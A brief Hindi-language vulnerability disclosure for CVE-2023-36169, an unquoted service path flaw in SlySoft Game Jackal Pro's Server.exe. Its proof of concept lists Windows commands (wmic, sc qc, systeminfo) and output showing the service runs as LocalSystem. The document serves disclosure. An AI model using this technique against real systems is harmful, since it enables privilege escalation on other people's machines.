trailer2/cve-2023-36169SlySoft Game Jackal Pro v.5.2.0.0 में एक समस्या है जो हमलावर को server.exe घटक के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।
SlySoft Game Jackal Pro v.5.2.0.0 में एक समस्या, एक हमलावर को server.exe घटक के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।
#PoC
C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """ Game Jackal Server v5 GJServiceV5 C:\Program Files (x86)\SlySoft\Game Jackal v5\Server.exe Auto
C:\Users>sc qc GJServiceV5 [SC] QueryServiceConfig SUCCESS
SERVICE_NAME: GJServiceV5 TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\SlySoft\Game Jackal v5\Server.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Game Jackal Server v5 DEPENDENCIES : SERVICE_START_NAME : LocalSystem
C:\Users>systeminfo
Host Name: DESKTOP-LA7J17P OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19042 N/A Build 19042 OS Manufacturer: Microsoft Corporation
